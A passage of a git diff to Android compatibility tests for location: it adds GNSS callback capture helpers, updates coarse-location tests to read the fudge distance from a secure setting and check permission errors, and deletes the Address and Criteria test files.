+                String.valueOf(satellitePvt.getVelocityEcef().getUreRateMetersPerSecond()),
+                satellitePvt.getVelocityEcef().getUreRateMetersPerSecond() > 0);
+    }
 }
diff --git a/tests/location/common/src/android/location/cts/common/gnss/GnssAntennaInfoCapture.java b/tests/location/common/src/android/location/cts/common/gnss/GnssAntennaInfoCapture.java
new file mode 100644
index 0000000..484f67c
--- /dev/null
+++ b/tests/location/common/src/android/location/cts/common/gnss/GnssAntennaInfoCapture.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.common.gnss;
+
+import android.content.Context;
+import android.location.GnssAntennaInfo;
+import android.location.Location;
+import android.location.LocationListener;
+import android.location.LocationManager;
+
+import androidx.annotation.NonNull;
+
+import java.util.List;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class GnssAntennaInfoCapture implements GnssAntennaInfo.Listener, AutoCloseable {
+
+    private final LocationManager mLocationManager;
+    private final LinkedBlockingQueue<List<GnssAntennaInfo>> mAntennaInfo;
+
+    public GnssAntennaInfoCapture(Context context) {
+        mLocationManager = context.getSystemService(LocationManager.class);
+        mAntennaInfo = new LinkedBlockingQueue<>();
+    }
+
+    public List<GnssAntennaInfo> getNextAntennaInfo(long timeoutMs) throws InterruptedException {
+        return mAntennaInfo.poll(timeoutMs, TimeUnit.MILLISECONDS);
+    }
+
+    @Override
+    public void onGnssAntennaInfoReceived(List<GnssAntennaInfo> gnssAntennaInfos) {
+        mAntennaInfo.add(gnssAntennaInfos);
+    }
+
+    @Override
+    public void close() {
+        mLocationManager.unregisterAntennaInfoListener(this);
+    }
+}
\ No newline at end of file
diff --git a/tests/location/common/src/android/location/cts/common/gnss/GnssMeasurementsCapture.java b/tests/location/common/src/android/location/cts/common/gnss/GnssMeasurementsCapture.java
new file mode 100644
index 0000000..bc3c717
--- /dev/null
+++ b/tests/location/common/src/android/location/cts/common/gnss/GnssMeasurementsCapture.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.common.gnss;
+
+import android.content.Context;
+import android.location.GnssMeasurementsEvent;
+import android.location.LocationManager;
+
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class GnssMeasurementsCapture extends GnssMeasurementsEvent.Callback implements AutoCloseable {
+
+    private final LocationManager mLocationManager;
+    private final LinkedBlockingQueue<GnssMeasurementsEvent> mMeasurements;
+    private final LinkedBlockingQueue<Integer> mStatuses;
+
+    public GnssMeasurementsCapture(Context context) {
+        mLocationManager = context.getSystemService(LocationManager.class);
+        mMeasurements = new LinkedBlockingQueue<>();
+        mStatuses = new LinkedBlockingQueue<>();
+    }
+
+    public GnssMeasurementsEvent getNextMeasurements(long timeoutMs) throws InterruptedException {
+        return mMeasurements.poll(timeoutMs, TimeUnit.MILLISECONDS);
+    }
+
+    public Integer getNextStatus(long timeoutMs) throws InterruptedException {
+        return mStatuses.poll(timeoutMs, TimeUnit.MILLISECONDS);
+    }
+
+    @Override
+    public void onGnssMeasurementsReceived(GnssMeasurementsEvent event) {
+        mMeasurements.add(event);
+    }
+
+    @Override
+    public void onStatusChanged(int status) {
+        mStatuses.add(status);
+    }
+
+    @Override
+    public void close() {
+        mLocationManager.unregisterGnssMeasurementsCallback(this);
+    }
+}
\ No newline at end of file
diff --git a/tests/location/common/src/android/location/cts/common/gnss/GnssNavigationMessageCapture.java b/tests/location/common/src/android/location/cts/common/gnss/GnssNavigationMessageCapture.java
new file mode 100644
index 0000000..3051170
--- /dev/null
+++ b/tests/location/common/src/android/location/cts/common/gnss/GnssNavigationMessageCapture.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.common.gnss;
+
+import android.content.Context;
+import android.location.GnssNavigationMessage;
+import android.location.LocationManager;
+
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class GnssNavigationMessageCapture extends GnssNavigationMessage.Callback implements AutoCloseable {
+
+    private final LocationManager mLocationManager;
+    private final LinkedBlockingQueue<GnssNavigationMessage> mNavigationMessages;
+    private final LinkedBlockingQueue<Integer> mStatuses;
+
+    public GnssNavigationMessageCapture(Context context) {
+        mLocationManager = context.getSystemService(LocationManager.class);
+        mNavigationMessages = new LinkedBlockingQueue<>();
+        mStatuses = new LinkedBlockingQueue<>();
+    }
+
+    public GnssNavigationMessage getNextNavigationMessage(long timeoutMs) throws InterruptedException {
+        return mNavigationMessages.poll(timeoutMs, TimeUnit.MILLISECONDS);
+    }
+
+    public Integer getNextStatus(long timeoutMs) throws InterruptedException {
+        return mStatuses.poll(timeoutMs, TimeUnit.MILLISECONDS);
+    }
+
+    public void onGnssNavigationMessageReceived(GnssNavigationMessage message) {
+        mNavigationMessages.add(message);
+    }
+
+    @Override
+    public void onStatusChanged(int status) {
+        mStatuses.add(status);
+    }
+
+    @Override
+    public void close() {
+        mLocationManager.unregisterGnssNavigationMessageCallback(this);
+    }
+}
\ No newline at end of file
diff --git a/tests/location/location_coarse/Android.bp b/tests/location/location_coarse/Android.bp
index da18247..ba53aea 100644
--- a/tests/location/location_coarse/Android.bp
+++ b/tests/location/location_coarse/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsLocationCoarseTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java b/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java
index 05b80b9..05b7557 100644
--- a/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java
+++ b/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java
@@ -16,14 +16,19 @@
 
 package android.location.cts.coarse;
 
+import static android.location.LocationManager.FUSED_PROVIDER;
 import static android.location.LocationManager.GPS_PROVIDER;
 import static android.location.LocationManager.NETWORK_PROVIDER;
 import static android.location.LocationManager.PASSIVE_PROVIDER;
+import static android.location.LocationRequest.PASSIVE_INTERVAL;
+import static android.provider.Settings.Secure.LOCATION_COARSE_ACCURACY_M;
 
 import static androidx.test.ext.truth.location.LocationSubject.assertThat;
 
 import static com.android.compatibility.common.util.LocationUtils.createLocation;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
@@ -36,11 +41,15 @@
 import android.location.Criteria;
 import android.location.Location;
 import android.location.LocationManager;
+import android.location.LocationRequest;
 import android.location.cts.common.LocationListenerCapture;
 import android.location.cts.common.LocationPendingIntentCapture;
+import android.location.cts.common.ProximityPendingIntentCapture;
+import android.os.Build;
 import android.os.Bundle;
 import android.os.SystemClock;
 import android.platform.test.annotations.AppModeFull;
+import android.provider.Settings;
 import android.util.Log;
 
 import androidx.test.core.app.ApplicationProvider;
@@ -56,7 +65,6 @@
 
 import java.util.List;
 import java.util.Random;
-import java.util.concurrent.Executor;
 
 @RunWith(AndroidJUnit4.class)
 public class LocationManagerCoarseTest {
@@ -65,8 +73,7 @@
 
     private static final long TIMEOUT_MS = 5000;
 
-    // 2000m is the default grid size used by location fudger
-    private static final float MAX_COARSE_FUDGE_DISTANCE_M = 2500f;
+    private static final float MIN_COARSE_FUDGE_DISTANCE_M = 2000f;
 
     private static final String TEST_PROVIDER = "test_provider";
 
@@ -74,6 +81,8 @@
     private Context mContext;
     private LocationManager mManager;
 
+    private float mMaxCoarseFudgeDistanceM;
+
     @Before
     public void setUp() throws Exception {
         LocationUtils.registerMockLocationProvider(InstrumentationRegistry.getInstrumentation(),
@@ -86,6 +95,13 @@
         mContext = ApplicationProvider.getApplicationContext();
         mManager = mContext.getSystemService(LocationManager.class);
 
+        float coarseLocationAccuracyM = Settings.Secure.getFloat(
+                mContext.getContentResolver(),
+                LOCATION_COARSE_ACCURACY_M,
+                MIN_COARSE_FUDGE_DISTANCE_M);
+        mMaxCoarseFudgeDistanceM = (float) Math.sqrt(
+                2 * coarseLocationAccuracyM * coarseLocationAccuracyM);
+
         assertNotNull(mManager);
 
         for (String provider : mManager.getAllProviders()) {
@@ -107,8 +123,11 @@
 
     @After
     public void tearDown() throws Exception {
-        for (String provider : mManager.getAllProviders()) {
-            mManager.removeTestProvider(provider);
+        if (mManager != null) {
+            for (String provider : mManager.getAllProviders()) {
+                mManager.removeTestProvider(provider);
+            }
+            mManager.removeTestProvider(FUSED_PROVIDER);
         }
 
         LocationUtils.registerMockLocationProvider(InstrumentationRegistry.getInstrumentation(),
@@ -116,11 +135,20 @@
     }
 
     @Test
+    public void testMinCoarseLocationDistance() {
+        assertThat(Settings.Secure.getFloat(
+                mContext.getContentResolver(),
+                LOCATION_COARSE_ACCURACY_M,
+                MIN_COARSE_FUDGE_DISTANCE_M)).isAtLeast(MIN_COARSE_FUDGE_DISTANCE_M);
+    }
+
+    @Test
     public void testGetLastKnownLocation() {
         Location loc = createLocation(TEST_PROVIDER, mRandom);
 
         mManager.setTestProviderLocation(TEST_PROVIDER, loc);
-        assertThat(mManager.getLastKnownLocation(TEST_PROVIDER)).isNearby(loc, MAX_COARSE_FUDGE_DISTANCE_M);
+        assertThat(mManager.getLastKnownLocation(TEST_PROVIDER)).isNearby(loc,
+                mMaxCoarseFudgeDistanceM);
     }
 
     @Test
@@ -137,28 +165,63 @@
     @Test
     public void testRequestLocationUpdates() throws Exception {
         Location loc = createLocation(TEST_PROVIDER, mRandom);
-        Bundle extras = new Bundle();
-        extras.putParcelable(Location.EXTRA_NO_GPS_LOCATION, new Location(loc));
-        loc.setExtras(extras);
+        if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.Q) {
+            Bundle extras = new Bundle();
+            extras.putParcelable(Location.EXTRA_NO_GPS_LOCATION, new Location(loc));
+            loc.setExtras(extras);
+        }
 
         try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
-            mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0, directExecutor(), capture);
+            mManager.requestLocationUpdates(
+                    TEST_PROVIDER,
+                    new LocationRequest.Builder(0)
+                            .build(),
+                    Runnable::run,
+                    capture);
             mManager.setTestProviderLocation(TEST_PROVIDER, loc);
-            assertThat(capture.getNextLocation(TIMEOUT_MS)).isNearby(loc, MAX_COARSE_FUDGE_DISTANCE_M);
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isNearby(loc, mMaxCoarseFudgeDistanceM);
+            mManager.setTestProviderLocation(TEST_PROVIDER, createLocation(TEST_PROVIDER, mRandom));
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isNull();
+        }
+    }
+
+    @Test
+    public void testRequestLocationUpdates_Passive() throws Exception {
+        Location loc = createLocation(TEST_PROVIDER, mRandom);
+        if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.Q) {
+            Bundle extras = new Bundle();
+            extras.putParcelable(Location.EXTRA_NO_GPS_LOCATION, new Location(loc));
+            loc.setExtras(extras);
+        }
+
+        try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+            mManager.requestLocationUpdates(
+                    TEST_PROVIDER,
+                    new LocationRequest.Builder(PASSIVE_INTERVAL)
+                            .setMinUpdateIntervalMillis(0)
+                            .build(),
+                    Runnable::run,
+                    capture);
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc);
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isNearby(loc, mMaxCoarseFudgeDistanceM);
+            mManager.setTestProviderLocation(TEST_PROVIDER, createLocation(TEST_PROVIDER, mRandom));
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isNull();
         }
     }
 
     @Test
     public void testRequestLocationUpdates_PendingIntent() throws Exception {
         Location loc = createLocation(TEST_PROVIDER, mRandom);
-        Bundle extras = new Bundle();
-        extras.putParcelable(Location.EXTRA_NO_GPS_LOCATION, new Location(loc));
-        loc.setExtras(extras);
+        if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.Q) {
+            Bundle extras = new Bundle();
+            extras.putParcelable(Location.EXTRA_NO_GPS_LOCATION, new Location(loc));
+            loc.setExtras(extras);
+        }
 
         try (LocationPendingIntentCapture capture = new LocationPendingIntentCapture(mContext)) {
             mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0, capture.getPendingIntent());
             mManager.setTestProviderLocation(TEST_PROVIDER, loc);
-            assertThat(capture.getNextLocation(TIMEOUT_MS)).isNearby(loc, MAX_COARSE_FUDGE_DISTANCE_M);
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isNearby(loc, mMaxCoarseFudgeDistanceM);
         }
     }
 
@@ -176,7 +239,15 @@
 
     @Test
     public void testGetBestProvider() {
-        // prevent network provider from matching
+        Criteria criteria = new Criteria();
+        criteria.setAccuracy(Criteria.ACCURACY_COARSE);
+        criteria.setPowerRequirement(Criteria.POWER_MEDIUM);
+
+        if (mManager.getProvider(FUSED_PROVIDER) != null) {
+            assertEquals(FUSED_PROVIDER, mManager.getBestProvider(criteria, false));
+        }
+
+        // prevent network + fused provider from matching
         mManager.addTestProvider(NETWORK_PROVIDER,
                 true,
                 false,
@@ -187,10 +258,16 @@
                 false,
                 Criteria.POWER_HIGH,
                 Criteria.ACCURACY_COARSE);
-
-        Criteria criteria = new Criteria();
-        criteria.setAccuracy(Criteria.ACCURACY_COARSE);
-        criteria.setPowerRequirement(Criteria.POWER_MEDIUM);
+        mManager.addTestProvider(FUSED_PROVIDER,
+                true,
+                false,
+                true,
+                false,
+                false,
+                false,
+                false,
+                Criteria.POWER_HIGH,
+                Criteria.ACCURACY_COARSE);
 
         String bestProvider = mManager.getBestProvider(criteria, false);
         assertEquals(TEST_PROVIDER, bestProvider);
@@ -206,6 +283,18 @@
         mManager.sendExtraCommand(TEST_PROVIDER, "command", null);
     }
 
+    @Test
+    public void testAddProximityAlert() {
+        try (ProximityPendingIntentCapture capture = new ProximityPendingIntentCapture(mContext)) {
+            try {
+                mManager.addProximityAlert(0, 0, 100, -1, capture.getPendingIntent());
+                fail("addProximityAlert() should fail with only ACCESS_COARSE_LOCATION");
+            } catch (SecurityException e) {
+                // pass
+            }
+        }
+    }
+
     // TODO: this test should probably not be in the location module
     @Test
     public void testGnssProvidedClock() throws Exception {
@@ -240,10 +329,6 @@
         assertTrue(System.currentTimeMillis() - clockms < 1000);
     }
 
-    private static Executor directExecutor() {
-        return Runnable::run;
-    }
-
     private boolean hasGpsFeature() {
         return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LOCATION_GPS);
     }
diff --git a/tests/location/location_fine/Android.bp b/tests/location/location_fine/Android.bp
index 44b220b..60ebf27 100644
--- a/tests/location/location_fine/Android.bp
+++ b/tests/location/location_fine/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsLocationFineTestCases",
     defaults: ["cts_defaults"],
@@ -36,4 +32,5 @@
         "cts",
         "general-tests",
     ],
+    platform_apis: true,
 }
diff --git a/tests/location/location_fine/src/android/location/cts/fine/AddressTest.java b/tests/location/location_fine/src/android/location/cts/fine/AddressTest.java
deleted file mode 100644
index a17755a..0000000
--- a/tests/location/location_fine/src/android/location/cts/fine/AddressTest.java
+++ /dev/null
@@ -1,359 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.fine;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertSame;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import java.util.Locale;
-
-import android.location.Address;
-import android.os.Bundle;
-import android.os.Parcel;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-public class AddressTest {
-
-    private static final double DELTA = 0.001;
-
-    @Test
-    public void testConstructor() {
-        new Address(Locale.ENGLISH);
-
-        new Address(Locale.FRANCE);
-
-        new Address(null);
-    }
-
-    @Test
-    public void testAccessAdminArea() {
-        Address address = new Address(Locale.ITALY);
-
-        String adminArea = "CA";
-        address.setAdminArea(adminArea);
-        assertEquals(adminArea, address.getAdminArea());
-
-        address.setAdminArea(null);
-        assertNull(address.getAdminArea());
-    }
-
-    @Test
-    public void testAccessCountryCode() {
-        Address address = new Address(Locale.JAPAN);
-
-        String countryCode = "US";
-        address.setCountryCode(countryCode);
-        assertEquals(countryCode, address.getCountryCode());
-
-        address.setCountryCode(null);
-        assertNull(address.getCountryCode());
-    }
-
-    @Test
-    public void testAccessCountryName() {
-        Address address = new Address(Locale.KOREA);
-
-        String countryName = "China";
-        address.setCountryName(countryName);
-        assertEquals(countryName, address.getCountryName());
-
-        address.setCountryName(null);
-        assertNull(address.getCountryName());
-    }
-
-    @Test
-    public void testAccessExtras() {
-        Address address = new Address(Locale.TAIWAN);
-
-        Bundle extras = new Bundle();
-        extras.putBoolean("key1", false);
-        byte b = 10;
-        extras.putByte("key2", b);
-
-        address.setExtras(extras);
-        Bundle actual = address.getExtras();
-        assertFalse(actual.getBoolean("key1"));
-        assertEquals(b, actual.getByte("key2"));
-
-        address.setExtras(null);
-        assertNull(address.getExtras());
-    }
-
-    @Test
-    public void testAccessFeatureName() {
-        Address address = new Address(Locale.SIMPLIFIED_CHINESE);
-
-        String featureName = "Golden Gate Bridge";
-        address.setFeatureName(featureName);
-        assertEquals(featureName, address.getFeatureName());
-
-        address.setFeatureName(null);
-        assertNull(address.getFeatureName());
-    }
-
-    @Test
-    public void testAccessLatitude() {
-        Address address = new Address(Locale.CHINA);
-        assertFalse(address.hasLatitude());
-
-        double latitude = 1.23456789;
-        address.setLatitude(latitude);
-        assertTrue(address.hasLatitude());
-        assertEquals(latitude, address.getLatitude(), DELTA);
-
-        address.clearLatitude();
-        assertFalse(address.hasLatitude());
-        try {
-            address.getLatitude();
-            fail("should throw IllegalStateException.");
-        } catch (IllegalStateException e) {
-            // pass
-        }
-    }
-
-    @Test
-    public void testAccessLongitude() {
-        Address address = new Address(Locale.CHINA);
-        assertFalse(address.hasLongitude());
-
-        double longitude = 1.23456789;
-        address.setLongitude(longitude);
-        assertTrue(address.hasLongitude());
-        assertEquals(longitude, address.getLongitude(), DELTA);
-
-        address.clearLongitude();
-        assertFalse(address.hasLongitude());
-        try {
-            address.getLongitude();
-            fail("should throw IllegalStateException.");
-        } catch (IllegalStateException e) {
-            // pass
-        }
-    }
-
-    @Test
-    public void testAccessPhone() {
-        Address address = new Address(Locale.CHINA);
-
-        String phone = "+86-13512345678";
-        address.setPhone(phone);
-        assertEquals(phone, address.getPhone());
-
-        address.setPhone(null);
-        assertNull(address.getPhone());
-    }
-
-    @Test
-    public void testAccessPostalCode() {
-        Address address = new Address(Locale.CHINA);
-
-        String postalCode = "93110";
-        address.setPostalCode(postalCode);
-        assertEquals(postalCode, address.getPostalCode());
-
-        address.setPostalCode(null);
-        assertNull(address.getPostalCode());
-    }
-
-    @Test
-    public void testAccessThoroughfare() {
-        Address address = new Address(Locale.CHINA);
-
-        String thoroughfare = "1600 Ampitheater Parkway";
-        address.setThoroughfare(thoroughfare);
-        assertEquals(thoroughfare, address.getThoroughfare());
-
-        address.setThoroughfare(null);
-        assertNull(address.getThoroughfare());
-    }
-
-    @Test
-    public void testAccessUrl() {
-        Address address = new Address(Locale.CHINA);
-
-        String Url = "Url";
-        address.setUrl(Url);
-        assertEquals(Url, address.getUrl());
-
-        address.setUrl(null);
-        assertNull(address.getUrl());
-    }
-
-    @Test
-    public void testAccessSubAdminArea() {
-        Address address = new Address(Locale.CHINA);
-
-        String subAdminArea = "Santa Clara County";
-        address.setSubAdminArea(subAdminArea);
-        assertEquals(subAdminArea, address.getSubAdminArea());
-
-        address.setSubAdminArea(null);
-        assertNull(address.getSubAdminArea());
-    }
-
-    @Test
-    public void testToString() {
-        Address address = new Address(Locale.CHINA);
-
-        address.setUrl("www.google.com");
-        address.setPostalCode("95120");
-        String expected = "Address[addressLines=[],feature=null,admin=null,sub-admin=null," +
-                "locality=null,thoroughfare=null,postalCode=95120,countryCode=null," +
-                "countryName=null,hasLatitude=false,latitude=0.0,hasLongitude=false," +
-                "longitude=0.0,phone=null,url=www.google.com,extras=null]";
-        assertEquals(expected, address.toString());
-    }
-
-    @Test
-    public void testAddressLine() {
-        Address address = new Address(Locale.CHINA);
-
-        try {
-            address.setAddressLine(-1, null);
-            fail("should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-            // pass
-        }
-
-        try {
-            address.getAddressLine(-1);
-            fail("should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-            // pass
-        }
-
-        address.setAddressLine(0, null);
-        assertNull(address.getAddressLine(0));
-        assertEquals(0, address.getMaxAddressLineIndex());
-
-        final String line1 = "1";
-        address.setAddressLine(0, line1);
-        assertEquals(line1, address.getAddressLine(0));
-        assertEquals(0, address.getMaxAddressLineIndex());
-
-        final String line2 = "2";
-        address.setAddressLine(5, line2);
-        assertEquals(line2, address.getAddressLine(5));
-        assertEquals(5, address.getMaxAddressLineIndex());
-
-        address.setAddressLine(2, null);
-        assertNull(address.getAddressLine(2));
-        assertEquals(5, address.getMaxAddressLineIndex());
-    }
-
-    @Test
-    public void testGetLocale() {
-        Locale locale = Locale.US;
-        Address address = new Address(locale);
-        assertSame(locale, address.getLocale());
-
-        locale = Locale.UK;
-        address = new Address(locale);
-        assertSame(locale, address.getLocale());
-
-        address = new Address(null);
-        assertNull(address.getLocale());
-    }
-
-    @Test
-    public void testAccessLocality() {
-        Address address = new Address(Locale.PRC);
-
-        String locality = "Hollywood";
-        address.setLocality(locality);
-        assertEquals(locality, address.getLocality());
-
-        address.setLocality(null);
-        assertNull(address.getLocality());
-    }
-
-    @Test
-    public void testAccessPremises() {
-        Address address = new Address(Locale.PRC);
-
-        String premises = "Appartment";
-        address.setPremises(premises);
-        assertEquals(premises, address.getPremises());
-
-        address.setPremises(null);
-        assertNull(address.getPremises());
-    }
-
-    @Test
-    public void testAccessSubLocality() {
-        Address address = new Address(Locale.PRC);
-
-        String subLocality = "Sarchnar";
-        address.setSubLocality(subLocality);
-        assertEquals(subLocality, address.getSubLocality());
-
-        address.setSubLocality(null);
-        assertNull(address.getSubLocality());
-    }
-
-    @Test
-    public void testAccessSubThoroughfare() {
-        Address address = new Address(Locale.PRC);
-
-        String subThoroughfare = "1600";
-        address.setSubThoroughfare(subThoroughfare);
-        assertEquals(subThoroughfare, address.getSubThoroughfare());
-
-        address.setSubThoroughfare(null);
-        assertNull(address.getSubThoroughfare());
-    }
-
-    @Test
-    public void testWriteToParcel() {
-        Locale locale = Locale.KOREA;
-        Address address = new Address(locale);
-
-        Parcel parcel = Parcel.obtain();
-        address.writeToParcel(parcel, 0);
-        parcel.setDataPosition(0);
-        assertEquals(locale.getLanguage(), parcel.readString());
-        assertEquals(locale.getCountry(), parcel.readString());
-        assertEquals(0, parcel.readInt());
-        assertEquals(address.getFeatureName(), parcel.readString());
-        assertEquals(address.getAdminArea(), parcel.readString());
-        assertEquals(address.getSubAdminArea(), parcel.readString());
-        assertEquals(address.getLocality(), parcel.readString());
-        assertEquals(address.getSubLocality(), parcel.readString());
-        assertEquals(address.getThoroughfare(), parcel.readString());
-        assertEquals(address.getSubThoroughfare(), parcel.readString());
-        assertEquals(address.getPremises(), parcel.readString());
-        assertEquals(address.getPostalCode(), parcel.readString());
-        assertEquals(address.getCountryCode(), parcel.readString());
-        assertEquals(address.getCountryName(), parcel.readString());
-        assertEquals(0, parcel.readInt());
-        assertEquals(0, parcel.readInt());
-        assertEquals(address.getPhone(), parcel.readString());
-        assertEquals(address.getUrl(), parcel.readString());
-        assertEquals(address.getExtras(), parcel.readBundle());
-
-        parcel.recycle();
-    }
-}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/CriteriaTest.java b/tests/location/location_fine/src/android/location/cts/fine/CriteriaTest.java
deleted file mode 100644
index 0799636..0000000
--- a/tests/location/location_fine/src/android/location/cts/fine/CriteriaTest.java
+++ /dev/null
@@ -1,247 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.fine;
-
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.location.Criteria;
-import android.os.Parcel;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-public class CriteriaTest {
-
-    @Test
-    public void testConstructor() {
-        new Criteria();
-
-        Criteria c = new Criteria();
-        c.setAccuracy(Criteria.ACCURACY_FINE);
-        c.setAltitudeRequired(true);
-        c.setBearingRequired(true);
-        c.setCostAllowed(true);
-        c.setPowerRequirement(Criteria.POWER_HIGH);
-        c.setSpeedRequired(true);
-        Criteria criteria = new Criteria(c);
-        assertEquals(Criteria.ACCURACY_FINE, criteria.getAccuracy());
-        assertTrue(criteria.isAltitudeRequired());
-        assertTrue(criteria.isBearingRequired());
-        assertTrue(criteria.isCostAllowed());
-        assertTrue(criteria.isSpeedRequired());
-        assertEquals(Criteria.POWER_HIGH, criteria.getPowerRequirement());
-
-        try {
-            new Criteria(null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected.
-        }
-    }
-
-    @Test
-    public void testDescribeContents() {
-        Criteria criteria = new Criteria();
-        criteria.describeContents();
-    }
-
-    @Test
-    public void testAccessAccuracy() {
-        Criteria criteria = new Criteria();
-
-        criteria.setAccuracy(Criteria.ACCURACY_FINE);
-        assertEquals(Criteria.ACCURACY_FINE, criteria.getAccuracy());
-
-        criteria.setAccuracy(Criteria.ACCURACY_COARSE);
-        assertEquals(Criteria.ACCURACY_COARSE, criteria.getAccuracy());
-
-        try {
-            // It should throw IllegalArgumentException
-            criteria.setAccuracy(-1);
-            // issue 1728526
-        } catch (IllegalArgumentException e) {
-            // expected.
-        }
-
-        try {
-            // It should throw IllegalArgumentException
-            criteria.setAccuracy(Criteria.ACCURACY_COARSE + 1);
-            // issue 1728526
-        } catch (IllegalArgumentException e) {
-            // expected.
-        }
-    }
-
-    @Test
-    public void testAccessPowerRequirement() {
-        Criteria criteria = new Criteria();
-
-        criteria.setPowerRequirement(Criteria.NO_REQUIREMENT);
-        assertEquals(Criteria.NO_REQUIREMENT, criteria.getPowerRequirement());
-
-        criteria.setPowerRequirement(Criteria.POWER_MEDIUM);
-        assertEquals(Criteria.POWER_MEDIUM, criteria.getPowerRequirement());
-
-        try {
-            criteria.setPowerRequirement(-1);
-            fail("should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-            // expected.
-        }
-
-        try {
-            criteria.setPowerRequirement(Criteria.POWER_HIGH + 1);
-            fail("should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-            // expected.
-        }
-    }
-
-    @Test
-    public void testAccessAltitudeRequired() {
-        Criteria criteria = new Criteria();
-
-        criteria.setAltitudeRequired(false);
-        assertFalse(criteria.isAltitudeRequired());
-
-        criteria.setAltitudeRequired(true);
-        assertTrue(criteria.isAltitudeRequired());
-    }
-
-    @Test
-    public void testAccessBearingAccuracy() {
-        Criteria criteria = new Criteria();
-
